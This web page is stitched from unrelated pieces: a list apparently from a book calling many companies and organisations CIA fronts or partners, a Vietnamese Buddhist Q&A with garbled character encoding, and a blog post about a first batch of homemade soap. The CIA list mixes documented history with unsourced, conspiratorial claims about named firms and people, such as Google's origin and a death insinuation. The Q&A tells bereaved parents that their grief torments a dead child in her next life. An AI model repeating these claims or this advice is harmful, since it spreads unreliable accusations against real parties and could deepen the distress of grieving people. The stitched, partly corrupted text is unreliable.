Bourbon and Beefsteak Bar and Restaurant. [CIA front]. Opened in 1967 in King’s Cross in Sydney, Australia. Served as a rendezvous point for CIA, Australian Security Intelligence Organization (ASIO), and organized crime figures. Its proprietor was Bernie Houghton, a CIA operative with links to Nugan Hand Bank, CIA weapons smuggler Edwin Wilson, and CIA clandestine services officers Theodore Shackley, Rafael Quintero, and Thomas Clines.

Center for Democracy. [CIA front]. Administered under the aegis of Boston University, the center maintained offices in Boston, Washington, DC, Guatemala City, and Strasbourg, France. Involved in CIA operations in eastern Europe, Central America, and Africa.

Colt Patent Firearms Company. [CIA partner]. Based in Hartford, Connecticut, provided corporate cover for CIA officers operating abroad.

Daddario & Burns. [CIA partner]. Headed by former OSS officer Emilio Daddario, a Democratic Representative from Connecticut, the Hartford-based law firm provided services to the CIA.

DC Comics. [CIA partner]. Worked with the International Military Information Group (IMIG), a joint CIA/Pentagon unit at the State Department, to disseminate propaganda comic books, featuring Superman, Batman, and Wonder Woman, in Serbo-Croatian and Albanian, to youth in the Balkans during the military conflicts in that region.

Disney Corporation. [CIA partner]. CIA agents who were adept at creating front companies and shell corporations in Florida, worked closely with Disney in preparation for the construction of Disney World near Orlando, Florida. OSS veteran “Wild Bill” Donovan and CIA shell company expert Paul Helliwell helped create two fake Florida cities, Bay Lake and Lake Buena Vista, as well as a number of shell corporations, to keep secret the plans for Disney World. This kept land prices low because real estate speculators were unaware of the prospective value of the land in a desolate area of central Florida.

Emory School of Medicine. [CIA partner]. Located in Atlanta, Georgia. Involved in the CIA’s MK-ULTRA behavioral modification project.

Enron Corporation [CIA partner]. Houston-based firm that was used by the CIA to provide commercial cover for its agents around the world. There were at least 20 CIA employees on Enron’s payroll. Andre Le Gallo, a former official of the CIA’s Operations Directorate, went to work as a corporate intelligence officer for Enron.

Fair Play for Cuba Committee (FPCC). [CIA front]. Officially established by American Trotskyists, the group was penetrated by CIA operatives. The FPCC New Orleans office was a CIA front that provided cover for the anti-Fidel Castro activities of Lee Harvey Oswald, Clay Shaw, and David Ferrie, among others. The New Orleans FPCC office was located at 544 Camp Street and shared the same building entrance with Guy Banister Associates, Inc., a private detective agency, the address for which was 531 Lafayette Street and around the corner from 544 Camp Street.

In December 1963, after the assassination of President John F. Kennedy, the FPCC ceased all U.S. operations.

General Electric Company. [CIA partner]. Based in Fairfield, Connecticut, provided corporate cover for CIA officers operating abroad.

General Foods Corporation. [CIA partner]. Advertising account at CIA’s Robert Mullen Company handled by an active CIA employee.

Google, Inc. [CIA partner]. Developed as a result of a research grant by the CIA and Pentagon to Stanford University’s Department of Computer Science. The CIA referred to the research as the “google project.”

Greenberg Traurig. [CIA partner]. Washington, DC “connected” law firm.

Guy Banister Associates, Inc. [CIA partner]. New Orleans private detective agency headed by former FBI agent Guy Banister. The detective agency coordinated the activities of various anti-Castro Cuban groups in New Orleans, including Banister’s own Anti-Communist League of the Caribbean, as well as the Cuban Revolutionary Council, the Cuban Democratic Revolutionary Front, Friends of Democratic Cuba, and the Crusade to Free Cuba Committee.

Banister and Associates shared office space with the CIA’s New Orleans front, the Fair Play for Cuba Committee, headed by Lee Harvey Oswald.

Hale and Dorr. [CIA partner]. Boston-based law firm that provided cover for CIA’s Independence and Brown Foundations.

Halliburton. [CIA contractor]. Based in Houston, it is the world’s largest oil service company. Recipient of a number of CIA sole-source contracts for services worldwide.

Harper and Row, Inc. [CIA partner]. Manuscripts submitted to the New York publisher that dealt with intelligence matters, particularly CIA operations, were turned over to the CIA for censoring edits before publication.

Hewlett Packard Corporation. [CIA partner]. Sold computers to Iraq for Saddam Hussein’s missile program with the knowledge and approval of the CIA.

Hill & Knowlton. [CIA partner]. Public relations firm that teamed with the CIA on a number of operations. Hill & Knowlton’s numerous offices abroad provided cover for CIA agents. One known Hill & Knowlton office that was a CIA front operation was in Kuala Lumpur.

Kerr-McGee. [CIA partner]. Provided corporate cover for CIA officers operating overseas.

Kissinger Associates, Inc. [CIA partner]. New York-based international consulting firm founded by former Secretary of State and National Security Adviser Henry Kissinger. Former National Security Adviser Brent Scowcroft is a co-owner. The firm provided support to the CIA-linked American Ditchley Foundation and the Bilderberg Group. Much of the 1982 seed money for Kissinger Associates was provided by Goldman Sachs.

Knight Foundation. [CIA partner]. Also known as the John S. and James L. Knight Foundation. Based in Miami, the foundation provides funding for various CIA-connected media operations in the United States and around the world.

Kroll Inc. [CIA partner]. Founded in 1972 by Jules Kroll, who had links to both U.S. and Israeli intelligence. Based in Manhattan. French domestic law enforcement believed Kroll’s Paris office was a CIA front. Kroll handled the security for the World Trade Center after the 1993 terrorist bombing and continued to be responsible for security up to, during, and after the September 11, 2001 terrorist attack. Kroll employed former FBI assistant director for counter-terrorism John O’Neill, who died in the collapse of the World Trade Center.

Lincoln Savings and Loan. [CIA partner]. Based in Irvine, California and headed by notorious swindler Charles Keating, Jr., involved in laundering funds for the Iran-contra scandal.

Lone Star Cement Corporation. [CIA partner]. Based in Stamford, Connecticut and linked to the Bush family, provided corporate cover for CIA officers operating abroad. Involved in the Iran-contra scandal.

Mary Carter Paint Company. [CIA front]. A money-laundering operation for the CIA. Involved in casinos in the Bahamas.

Monsanto. [CIA partner]. The firm contracted with former CIA official Cofer Black’s Total Intelligence Solutions (TIS), a subsidiary of the CIA-connected Blackwater USA, later Xe Services, to monitor animal rights groups, anti-genetically modified (GM) food activists, and other groups opposed to Monsanto’s agri-business operations worldwide.

National Enquirer. [CIA partner]. The tabloid’s founder, Generoso (Gene) Pope, Jr., worked for the CIA’s psychological warfare unit and the agency’s Italy branch in 1950. In 1952, Pope acquired The New York Enquirer broadsheet and transformed it into a tabloid, renaming it The National Enquirer. This transformation bore the imprimatur of the CIA’s Operation MOCKINGBIRD media influence program.

Newsweek. [CIA partner]. Magazine reporters and stringers fed information to the CIA. Newsweek’s stringers in southeastern Europe and the Far East were CIA agents. When Newsweek was bought by The Washington Post Company in 1961, cooperation between the magazine and the CIA increased. It was a participant in the CIA’s Operation MOCKINGBIRD media influence program. Much of the staff of Newsweek was absorbed into a new online publication, The Daily Beast, which continues to disseminate CIA-influenced articles. See Washington Post.

Nieman Foundation. [CIA partner]. Located at Harvard University, the foundation awarded Nieman Fellowships, some on behalf of the CIA, for foreign journalists to study at Harvard. The journalists were subjected to CIA recruitment efforts prior to their returning to their home countries.

Pamela Martin & Associates. [CIA partner], Escort firm run by Deborah Jeane Palfrey, the so-called “DC Madam.” During her 2008 trial for mail fraud, Palfrey attempted to invoke the Classified Information Procedures Act in order to discuss her relationship with the CIA. The U.S. Court refused Palfrey’s request and she was convicted and later said to have committed suicide before her sentencing hearing in Washington, DC. One of her clients was Randall Tobias, the head of the CIA-connected USAID. Another was Louisiana Republican senator David Vitter.

Paris Review. [CIA front]. Literary magazine edited by George Plimpton. Published works by Jack Kerouac and Samuel Beckett. The magazine’s co-founder, Peter Matthiessen, relied on his affiliation with the magazine as his CIA cover.

Quaker Oats Company. [CIA partner]. Worked with the CIA and Atomic Energy Commission to place trace amounts of radiation in breakfast cereal served to boys at the Fernald School for the mentally retarded in Waltham, Massachusetts.

Radio Corporation of America. [CIA partner]. Provided corporate cover for CIA officers operating abroad, particularly in Iran, Philippines, Japan, and West Germany. Provided technical assistance to CIA-financed clandestine and propaganda radio stations worldwide, including Radio Free Europe. RCA founder David Sarnoff was a major supporter of CIA operations, including propaganda dissemination around the world. RCA chairman and chief executive officer Thornton F. Bradshaw was active in the operations of the CIA-linked American Ditchley Foundation.

Reily Coffee Company. [CIA partner]. Also known as William B. Reily Coffee Company and based in New Orleans, this company employed Lee Harvey Oswald and a number of other U.S. government employees, many of whom were suspected CIA officers.

Robert M. Mullen Company. [CIA proprietary]. A Washington, DC public relations firm, it was used as a front for CIA activities. E. Howard Hunt, the CIA agent, worked for Robert Mullen when he was arrested in the break-in of the Democratic National Committee headquarters at the Watergate Hotel in Washington in 1972. The Senate Watergate Committee reported that “the Mullen and Company has maintained a relationship with the Central Intelligence Agency since its incorporation in 1959. It provided covers for agents in Europe (Stockholm), Latin America (Mexico City), and the Far East (Singapore) at the time of the Watergate break-in.”

Rockefeller Foundation. [CIA partner]. Used by the CIA to direct scholarships and grants to the Third World and Eastern Europe. Rockefeller Foundation money was funneled to the American Committee for a United Europe (ACUE), created in 1948. The chairman of ACUE was OSS chief William J. Donovan and the vice chairman was Allen Dulles. One of ACUE’s board members was Walter Bedell Smith, the first CIA director.

Summa Corporation. [CIA partner]. Owned by Howard Hughes, Summa is believed to have skimmed gambling profits from the Sands, Desert Inn, Frontier, Silver Slipper, Castaways, and Landmark casinos in Las Vegas and Harold’s Club in Reno for the CIA and the Mafia. Provided financial cover for the CIA’s Glomar Explorer project.

Teneo Intelligence. [CIA partner]. Branch of Teneo Holdings, which is headquartered in New York. Teneo Holdings’s intelligence branch includes former CIA officials. Teneo is closely linked to former President Bill Clinton and Hillary Clinton. Teneo Intelligence has offices in New York, London, Rome, Brussels, Dubai, Bogota, New Delhi, and Tokyo.

Texas Commerce Bank (TCB). [CIA partner]. Houston-based bank founded by the family of James Baker III. Texas Commerce Bank was used to provide commercial cover for CIA agents. After serving as vice president for Texas Commerce Bank in Caracas from 1977 to 1979, Jeb Bush joined his father’s presidential campaign in 1980. Serving with Bush on the campaign was Robert Gambino, the CIA deputy director of security who gave Bush his orientation brief at Langley in 1977.

Kenneth Lay, the chairman of Enron, which had its own links to the CIA, served on the board of Texas Commerce Bank. Texas Commerce Bank was acquired by Chemical Bank in 1987.

The bank provided major loans to Howard Hughes’s Summa Corporation. See Summa Corporation.

United Fruit Company [CIA partner]. Involved in 1954 CIA overthrow of Jacobo Arbenz government in Guatemala. Published the Latin America Report, a publication that was a CIA front used for clandestine activities. The CIA transferred weapons to United Fruit employees in Guatemala who were involved in undermining the Arbenz government. The joint CIA-United Fruit plan was code named OPERATION FORTUNE. Company provided an airfield in Guatemala for the CIA’s training of Cuban exiles for the Bay of Pigs invasion of Cuba.

U.S. Rubber Company. [CIA partner]. Headquartered in Naugatuck, Connecticut and later called Uniroyal, provided corporate cover to CIA officers operating abroad. Included those operating under the cover of the Dominion Rubber Company of Canada, a subsidiary of U.S. Rubber Company.

U.S. Youth Council (USYC). [CIA front]. Founded in 1945 and based in New York. Some 90 percent of its funds came from the CIA. USYC received funding from the Foundation for Youth and Student Affairs (FYSA), a CIA front. The USYC was composed of American Youth Hostels, Camp Fire Girls, 4-H, American Unitarian Youth, National Catholic Welfare Conference, National Students Assembly, YMCA and YWCA.

Wackenhut. [CIA contractor]. Wackenhut, a Palm Beach Gardens, Florida-based security firm, stood accused of providing the CIA with specialized services around the world, including Chile, Greece, and El Salvador. Its Venezuelan branch, Wackenhut Venezolana, C.A., was accused in 2002 of involvement in the CIA’s coup against President Hugo Chavez. William Casey served as Wackenhut’s outside counsel before becoming CIA director in 1981.

Wackenhut eventually merged into the global security firm G4S.

Washington Post. [CIA partner]. The Washington Post was part of the CIA’s Operation MOCKINGBIRD, the agency’s media influence project. Post publisher Phil Graham was a close friend and associate of MOCKINGBIRD chief Frank Wisner, Sr. and CIA director Allen Dulles. Wisner assisted Graham in acquiring The Washington Times-Herald and WTOP radio, creating a sizable CIA-influenced media operation in the nation’s capital.

W. R. Grace. [CIA partner]. Provided corporate cover to CIA officers operating abroad, particularly in Latin America. Provided donations to CIA front foundations.

  • News story about Madsen's book via The Justice Integrity Project

  •           Nhìn đời bằng nhân quả        
    “Phải thấy nhân quả, đừng thấy đúng sai, phải trái, xấu tốt, trắng đen, đó là sá»± thật của cuộc đời này, nếu thấy đúng sai, phải trái, tốt xấu, trắng đen, là thấy sai sá»± thật”. 
    Trưởng Lão Thích Thông Lạc

    Hỏi: Kính thưa Thầy! Một người học Phật phải nhìn cuộc đời như thế nào để không bị đắm chìm, lôi cuốn theo những lạc thú tầm thường của thế gian, nhưng cũng không bị người đời lên án là tiêu cực, vô cảm, lãnh đạm v.v..

    Đáp: Một người học Phật phải nhìn đời bằng đôi mắt nhân quả, nên không tiêu cực, vô cảm, lãnh đạm.

    Người học Phật phải có tri kiến nhân quả, tri kiến Thập Nhị Nhân Duyên, tri kiến Thập Thất kiết sử, tri kiến ngũ uẩn, tri kiến ngũ triền cái, tri kiến về các pháp bất tịnh, tri kiến các pháp vô thường, khổ, không, vô ngã, tri kiến về lòng từ bi, hỷ, xả v.v..

    Nếu có những tri kiến như vậy thì người này sẽ không bị đắm chìm, lôi cuốn theo những lạc thú tầm thường của thế gian. Muốn có những tri kiến này thì người học Phật nên nghiên cứu kinh sách Nguyên Thủy, vì trong đó dạy rất đầy đủ và dễ hiểu. Không nên nghiên cứu kinh sách phát triển vì kinh sách này sẽ gieo vào đầu óc của các bạn một thế giới ảo tưởng, mơ hồ, trừu tượng, phi đạo đức. Một khi các bạn đã chịu ảnh hưởng của nó thì các bạn giống như người nghiện thuốc phiện. Muốn bỏ mà rất khó bỏ.

    Những người Cư sĩ Phật tử hiểu sao về Phật giáo có tiêu cực, vô cảm, lãnh đạm không?

    Về Phật giáo là phải có một tinh thần tích cực, tự lực trong sự tu tập các pháp môn; phải tích cực, tự lực chiến đấu với nội tâm của mình khi có ác pháp xâm chiếm để đem lại sự thanh bình cho tâm hồn; phải tích cực chiến đấu với ngoại pháp để đem lại cho mọi người một sự an ổn, một xã hội có trật tự.

    Về Phật giáo có hai giới tu tập:

    1/ Cư sĩ
    2/ Tu sĩ

    Cư sĩ thì phải tu theo pháp của người cư sĩ. Pháp của người cư sĩ tu tập là một nền đạo đức nhân bản – nhân quả không làm khổ mình, khổ người thì làm sao có sự tiêu cực, vô cảm, lãnh đạm… được. Nếu tiêu cực, vô cảm, lãnh đạm là làm khổ mình, khổ người thì đâu có đúng chánh pháp. Có lẽ người cư sĩ Phật tử đã hiểu sai pháp Phật, không hiểu về pháp tu tập của người tu sĩ. Phần nhiều người cư sĩ Phật tử mới vào đạo đều được dạy tu tập Thọ Bát Quan Trai và được tham dự học tu vào lớp Chánh kiến đầu tiên của Phật giáo.

    Người cư sĩ chỉ sống có một ngày Thọ Bát Quan Trai như người tu sĩ mà thôi. Một tháng chỉ sống có một hoặc hai ngày thì đâu thể nào gọi là tiêu cực, vô cảm, lãnh đạm được.

    Phật dạy chúng ta biết ác pháp và thiện pháp, ác pháp thì nên tránh và diệt để đem lại cho mình cho người hạnh phúc an vui chứ đâu phải lãnh đạm, vô cảm.

    Ví dụ: Trong bữa tiệc mọi người ép chúng ta uống rượu, chúng ta từ chối không tùy thuận theo các ác pháp này thì bảo rằng chúng ta lãnh đạm thì không đúng.

    Chúng ta cương quyết làm được điều này là làm gương tốt đẹp cho người khác, để mọi người tránh thứ độc dược hại này.

    Cho nên, đạo Phật không phải là đạo yếm thế, tiêu cực, lãnh đạm, vô cảm v.v.. Người hiểu đạo Phật yếm thế, lãnh đạm, vô cảm... là người hiểu sai đạo Phật.

    Đạo Phật là đạo đức của loài người, nhờ đạo đức mới xây dựng thế gian này được an ổn và yên vui cho mọi người; nhờ đạo đức mà con người không làm khổ cho nhau. Vậy chúng ta là con người cần phải học đạo đức nhân bản – nhân quả. Nếu chúng ta không học đạo đức thì chúng ta tự làm khổ cho nhau và cuộc sống trên thế gian này trở thành địa ngục. Phải không các bạn? Bằng chứng hiện giờ chúng ta đã chứng kiến cảnh địa ngục: Chiến tranh, khủng bố, thiên tai hỏa hoạn, bão tố, động đất, sóng thần, lũ lụt v.v..

    Ví dụ: Tình nghĩa vợ chồng là phải gần gũi nhau, chia sẻ nhau những nỗi buồn vui, thế mà xa lánh nhau, lạt lẽo, lãnh đạm tình chồng nghĩa vợ để gọi là tuyệt dục thì đức Phật đâu có dạy bao giờ. Mà đức Phật dạy không nên tà dâm, dâm dục phải tiết độ, vì tà dâm là làm hại gia đình mất hạnh phúc, dâm dục không tiết độ sẽ đem đến thân bệnh tật, mà thân bệnh tật, đau khổ thì sự an vui hạnh phúc gia đình mất.

    Đạo Phật nói đời khổ là để vượt qua mọi sự đau khổ của cuộc đới, chứ không có nghĩa là trốn tránh khổ, nói cách khác cho đúng nghĩa của đạo Phật là làm cho đời hết khổ. Làm cho đời hết khổ là phải tích cực hết mình. Vì thế, mà đạo đức của đạo Phật là đạo đức không làm khổ mình, khổ người.


    Hỏi: Kính thưa Thầy, bên kia cõi chết, tử thần đã cướp đi người bạn đời của con, hiện nay đời sống bỗng trở thành vô vị, cuộc đời đầy tẻ nhạt, chán chường, hạnh phúc đã mất đi không bao giờ trở lại. Người ấy đã đi xa đi mất, số phận duyên nợ chỉ có thế thôi. Nhưng có lúc con cầu mong cho họ được bình an, nhưng con lại thấy có cái gì không ổn đối với họ.

    Thân tứ đại này có phải là đất, nước, gió, lửa hợp lại rồi tan đi, đó là số phận phải không thưa Thầy? Xin Thầy chỉ cho con biết!

    Đáp: Không có sự sống sau khi chết, mà chỉ có sự nối tiếp của luật nhân quả. Với trí hữu hạn của con người không thể hiểu thấu được sự tiếp nối của định luật nhân quả luân hồi, nên thấy có sanh và có tử. Sự thực sanh tử là một diễn biến của luật nhân quả, xác định sự vô thường của các pháp trong thế gian này.

    Các pháp trong thế gian này đều chịu luật vô thường, sanh diệt của nhân quả. Vì thế không có pháp nào trong thế gian này ra khỏi sự chi phối của luật nhân quả, nên các pháp thường sanh diệt theo chu kỳ tuần tự của định luật và mỗi pháp phải chịu sự biến dịch.

    Người bạn đời của con gặp nhau trong duyên nhân quả để trả vay, vay trả. Khi vay trả xong thì phải theo định luật nhân quả tiếp tục trả vay sự việc khác. Con không thấu hiểu điều đó, nên tạo thêm nhân quả thương nhớ rằng rịt và trói buộc, không phải trói buộc với nhân quả của người đã mất, mà trói buộc với nhân quả tương ưng.

    Lòng thương nhớ của con sẽ gặp nhân quả tương ứng với lòng thương nhớ đó để mà trả vay, vay trả. Còn nhân quả kia (người bạn đời của con), đã trả vay xong thì không còn tương ưng với con nữa.

    Cho nên, con quá vô minh và điên đảo, đã thương nhớ một nhân quả để rồi phải gặt lấy một nhân quả khác đang trói buộc (kiết sử), để kiếp sống đời đời chẳng bao giờ thoát ra khỏi biển khổ sanh tử luân hồi. Con muốn tu hành giải thoát thì hãy đoạn dứt sợi dây kiết sử này. Sợi dây kiết sử này là con đường tiếp tục sanh tử luân hồi đầy đau khổ mãi mãi.

    Tình cảm của con người là một sợi dây rất khó bứt, nếu không thấu suốt được luật nhân quả thì không bao giờ đoạn sạch được “ái kiết sử”. Người tu theo đạo Phật thấy ái kiết sử như là một con rắn độc, nó từng đem đến nọc độc khổ đau cho loài người. Con là một con người đang bị nọc độc của ái kiết sử.

    Một người vợ khóc chồng, một người chồng thương vợ là ái kiết sử; một người mẹ thương con, một người con thương mẹ là ái kiết sử. Nói chung, tất cả các tình cảm thương yêu nhau là ái kiết sử.

    Người nào đã bi lụy vì tình cảm yêu thương ấy, trong đạo Phật gọi là đã bị nọc độc rắn nhân quả cắn. Kẻ nào đoạn dứt được nọc độc này là kẻ đó làm chủ rắn độc nhân quả. Nếu không làm chủ được nhân quả thì đời đời kiếp kiếp ta sẽ bị nọc độc rắn nhân quả làm cho ta sống trong cảnh khổ đau triền miên, bất tận.

    Con  cần  phải  thấu  suốt  luật nhân  quả  để không còn buồn khổ vô ích. Trong luật nhân quả, khi một người mất đi thì chỉ còn nghiệp lá»±c của nhân quả tiếp tục tái sanh luân hồi, và người bạn đời của con đâu còn cái gì gọi là người bạn của con. Thế nên, sá»± thÆ°Æ¡ng nhớ của con chỉ là nhớ lại một hình bóng ảo tưởng của con mà thôi.

    Cũng như hiện giờ, trong kiếp sống này con có bao giờ nghĩ đến thương người bạn đời trong kiếp quá khứ của mình chăng? Chắc điều đó không bao giờ có phải không con, cũng như người bạn đời của con đã chết, thì trong kiếp khác họ đâu có còn nhân quả để mà nhớ đến con nữa. Trong họ chỉ biết kiếp hiện tại của họ mà thôi. Cũng như con bây giờ cũng vậy, chỉ có vô minh điên dại đi khóc nhân quả.

    Nhân quả có nghĩa lý gì đâu, nó là những hành động của con rắn độc ái kiết sử, nó đã làm khổ loài người trên hành tinh này, khiến cho nước mắt của con người còn nhiều hơn nước biển.

    Trên hành tinh này, duy nhất chỉ có đạo Phật mới dạy con người về lý nhân quả, không có một giáo phái nào mà dạy chúng ta làm chủ như vậy được. Con đủ phước duyên tu tập, hãy dứt sạch ái kiết sử đó đi, đừng thương vay khóc mướn nhân quả, chẳng có ích gì mà tự con đã làm khổ lấy mình.


    Câu chuyện tá»­ biệt sanh ly của gia đình nhà con, là những câu chuyện nức nở thÆ°Æ¡ng tâm đau khổ thường xảy ra trong kiếp sống của con người, mà mỗi gia đình nào cÅ©ng đều  không tránh khỏi.

    Luật nhân quả quá khắc nghiệt, vì sự công bằng và công lý của nó. Nó chẳng động lòng thương xót và chẳng tư vị một ai.

    Trong cuộc sống của gia đình là một cộng nghiệp của nhân quả, vui buồn, khổ đau, hay hạnh phúc, phiền não, bất toại nguyện... đều là do sự vay trả, trả vay của nhân quả.

    Một cộng đồng nhân quả trong một gia đình, người nào tuổi trẻ mà chết trước là người đó đã trả xong nhân quả trong cộng đồng đó. Khi trả xong dù muốn sống thêm một ngày cũng không thể sống thêm được nữa. Do vậy, mới bảo rằng luật nhân quả quá khắc nghiệt.
    Cháu Thanh Phước cũng vậy, cháu đã trả xong nợ nhân quả, vì thế cháu phải ra đi, ra đi vĩnh viễn vì cháu đã hết nợ trong cộng đồng đó. Riêng các con không thấy được nợ vay của luật nhân quả mà cho đến giờ này còn khóc thương thảm thiết.

    Thầy xin nêu lên một ví dụ để con hiểu cho rõ ràng: Ví như, con là một người thiếu một món nợ rất lớn của một ông chủ, con phải đến nhà của ông chủ nợ cố gắng làm lụng hết sức mình để trả xong món nợ, khi con đã trả xong món nợ, con rời khỏi gia đình ông ta, thì ông ta kêu khóc thảm thiết không cho con đi, lúc nào cũng muốn con ở lại làm cho ông ta nữa. Như vậy, con thấy ông ta có công bằng không? Và con là người đã trả nợ xong thì con vui mừng rời khỏi gia đình ông ta thì hạnh phúc biết bao! Vì không còn nợ nần nữa.

    Như vậy, con nên tư duy theo luật nhân quả, thì sự thương khóc của con có công bằng không? Khi cháu Thanh Phước đã trả xong nợ nhân quả của cộng đồng gia đình con, cháu ra đi như trong thư con đã thuật lại: “Cháu rất hiền lành và tốt bụng, thương yêu vợ con hết mực, hiếu thảo với cha mẹ bốn bên, đối với bạn bè cơ quan ai cũng khóc thương...”. Nhờ những sự tốt bụng này, tức là thiện pháp mà cháu Thanh Phước đã trả xong món nợ nhân quả quá nhanh, vì thế cháu ra đi lúc đầu còn xanh tóc, vừa mới 45 tuổi.

    Nếu cháu Thanh Phước còn nghe tiếng khóc thương của con và mọi người thì cháu rất buồn, vì cháu đã trả xong nợ, mà cứ kêu gọi đòi nợ cháu hoài, thì cháu rất đau khổ và không hài lòng phải không hỡi các con?

    Sao các con lại vô minh đến thế? Người còn sống là còn nợ nhân quả, sao các con không lo trả cho hết? Người trả xong nợ ra đi thì các con phải vui mừng cớ sao lại buồn khóc, thật là đảo điên.

    Cuộc đời là một bi hài kịch trên sân khấu nhân quả, có gì là thật đâu mà phải thương khóc, hết đóng vai này đến đóng vai khác và luôn luôn tiếp diễn những trò ảo ảnh đó vô cùng, vô tận. Thế mà, các con tự mình chuốc lấy sự khổ đau cho mình mà không biết, đó là vô minh, thiếu sự hiểu biết.

    Có một câu chuyện nhân quả mà Thầy được ông thân Thầy kể lại: “Có một gia đình kia, chỉ sanh ra một cậu con trai duy nhất, cậu rất hiền lành dễ thương, hiếu hạnh chăm học, không bao giờ cãi lời và làm cha mẹ buồn khổ, lớn lên cậu rất cần cù làm ăn khiến cho gia đình giàu có nhất trong vùng. Vì thế, cha mẹ thương yêu cậu hơn là vàng bạc châu báu. Nhưng không may cậu lâm bệnh ít hôm rồi chết, để lại sự thương tiếc của cha mẹ vợ con và xóm làng.

    Trong làng có một vị phù thủy rất cao tay ấn thường đánh thiếp cho người xuống âm phủ gặp những người thân mình đã chết.

    Vì thÆ°Æ¡ng con nên ông cụ đến nhờ Thầy đánh thiếp xuống âm phủ để gặp con. Khi xuống đến âm phủ, ông cụ bước vào một cái quán bên lề đường hỏi thăm. Người chủ quán cho biết cách đây  khoảng  hÆ¡n hai tháng có một cậu thanh niên ở trên trần gian mới xuống, và bảo ông cụ: “Cụ hãy ngồi ở đây chờ một chút, thế nào cậu trai ấy cÅ©ng sẽ cưỡi ngá»±a đi ngang qua đây, chừng đó cụ sẽ ra nhìn mặt, coi có phải là con trai của cụ không?”.

    Ông cụ nghe lời, ngồi chờ chẳng bao lâu nghe tiếng vó ngựa, cụ ra đón đường, quả đúng là cậu con trai, con của cụ. Mừng quá cụ vừa khóc, vừa níu tay con và vừa nói: “Sao con bỏ bố mẹ, trong khi bố mẹ thương con hết mực...”.Ông cụ vừa nói đến đó thì cậu con trai thét lên: “Ai là con cái nhà ông, chúng tôi đã mắc nợ ông, làm trả nợ cho ông xong thì chúng tôi có quyền đi, cớ sao ông cứ theo đòi nợ hoài”. Nói xong cậu con trai quất ngựa chạy đi, chẳng hề đoái hoài đến ông cụ. Ông cụ sững sờ nhìn theo bóng cậu con trai mà bao lòng thương của cụ đều buông xuống sạch”. Câu chuyện trên đây con nên suy ngẫm, để thấu suốt lý nhân quả, nhờ đó con mới chuyển được và tâm hồn mới thanh thản an lạc và vô sự.

    Cháu Thanh Phước ra đi là nhắc nhở cho con thấy: “Đời là vô thường, là khổ đau và cuối cùng là không có gì cả”. Chính con là người vay nợ nhân quả rất nhiều, do đó con là người chịu khổ đau nhiều nhất trong cộng đồng gia đình này. Nếu con không gặp chánh pháp của Phật thì giờ này con sẽ trở thành người điên mất.

    Khi đọc xong bức thư này con hãy tư duy suy nghĩ để tự cứu mình ra khỏi sự vô minh ngu dại của mình đã tự dày vò, đã tự làm khổ đau cho mình mà cứ mãi làm khổ đau không dứt, đó là một điều thiếu đạo đức nhân bản làm người đối với mình, con ạ!

    Hãy đứng lên, tự thắp đuốc đạo đức mà đi, đừng để sống trong đêm đen tối mờ mịt mà món nợ nhân quả chưa biết kiếp nào trả xong.

    Thầy có lời thăm và chúc các con quán xét xả tâm tốt để có một bầu trời thanh thản, an lạc và vô sự.

    Kính thư

    Thầy của các con


    Hỏi: Kính gửi Thầy! Xin Thầy từ bi chỉ cho con biết phải làm sao? Con sống đơn độc một mình nuôi một đưa con gái khôn lớn. Cháu xinh đẹp, khỏe mạnh, ngoan và đáng yêu. Nhân một lần đi xa, cháu bị tai nạn giao thông và chết.

    Từ đó đến giờ con xót xa thương nhớ con gái. Nghĩ rằng người chết còn có linh hồn và sợ
    rằng con gái còn thÆ°Æ¡ng mẹ luẩn quẩn đâu đó chÆ°a đầu thai nên con đã làm rất nhiều việc: cầu siêu, thả cá, cúng trai tăng... nhÆ°ng trong lòng con vẫn còn lo lắng buồn khổ không nguôi. 

    Con rất ngưỡng vọng Thầy cho  con biết: Con gái con đã đi đầu thai chÆ°a, nghiệp lành hay dữ, có được làm người hay đang đọa ở chốn nào? Con phải làm gì để giúp đỡ con của con đây?

    Kính xin Thầy thương xót cho lòng mẹ thương con mà chỉ bảo nhân quả và những mong
    muốn của con. 

    Con kính xin đảnh lễ Thầy.
    Kính gửi: Con!

    Con gái con nhân quả đã hết nên đã ra đi trong một tai nạn giao thông. Như đức Phật đã dạy: “Chết đây sinh kia”, nghĩa là chết phải đi tái sanh liền không có thời gian chờ đợi.

    - Chết tốt không đau khổ nhiều nên tái sinh vào nơi tốt.

    - Người đau khổ nhiều ngày mà chết là sẽ tái sinh vào nhà đau khổ, con hiểu chưa?

    Cháu chết là nó đã hết nợ với con mà cứ thương khóc hoài làm cho kiếp tái sinh của nó bất an, con có biết không? Mỗi lần con khóc than nó là mỗi lần nó bị kinh phong dật, chết lên, chết xuống, con có biết không?

    Thương sao lại làm khổ nó quá vậy?

    Thương là phải sống đúng 5 giới của Phật và ước cho cháu sinh lên gặp nhiều phước báu mới gọi là thương con.

    Kính ghi,

    Thầy của con

    Trưởng Lão Thích Thông Lạc
    Và đây là bộ sách của Thầy Thích Thông Lạc mà tác giả Blog đã sÆ°u tập (tạm thời), bạn có thể tải về: Click tại đây
    Xem thêm: Nhân quả gia đình

    Soapmaking in the planning
    My idea of a perfect (summer) includes a lot of R & D (research and development) in the lab. Earlier this summer, before humidity got out of hand, I got my act together and created my first batch of soap, ever. It was the exact same formula that Open Source Soap used for creating all my fragrance 3-in-1 soap bars. I decided on an unscented soap for my first batch, because I really wanted to see and experience the soap in its pure form  - and also avoid painful loss of precious fragrant materials in case I screw up.
    Pouring my first batch of soap ever
    The process is a tad tedious and time consuming, requiring one to be precise with the temperatures and also extra cautious with the lye's caustic properties. It was a rather humid day when I made it, so I realized pretty fast that it is very uncomfortable to work with goggles and gloves when the air is so slippery and moist; and also there is that feeling that the air would cary the caustic fumes far too easily into my system. No harm was done, but I am now convinced that winter is the best time for this kind of production (or R & D, for that matter).
    Cured soap
    I've used stainless steel loaf pans as molds. I made a mistake of not putting any linings (I didn't want them to have wrinkles at the bottom). Turns out it was near impossible to get the soap out after the 24 hour hardening period. But I managed to do it anyway.
    Soap slicing
    The result I'm very pleased with as far as the soap consistency, properties (lathering, moisturizing) albeit its messy look. I know that if it was possible to take it out of the mold easily they would have been beautiful, so for next time I'm going to use a different procedure for the pouring process and probably use a different mold - probably will reuse 1L milk cartons. The bars will have a different size than they did under Schuyler's hands (he used 2L juice cartons, and than cut them in the middle to create a long shaped rectangle). Mine will be more on the squarish side.
    Post-Soapmking Mess
    I ended up with a lot of soap shavings, from which I can make a liquid soap or just use for hand washing clothes etc.
    Post-Soapmking Mess - Cleanup
    Cleanup time!
    (Which is super easy, by the way - especially with my designated sink and stainless steel surfaces - yay!).


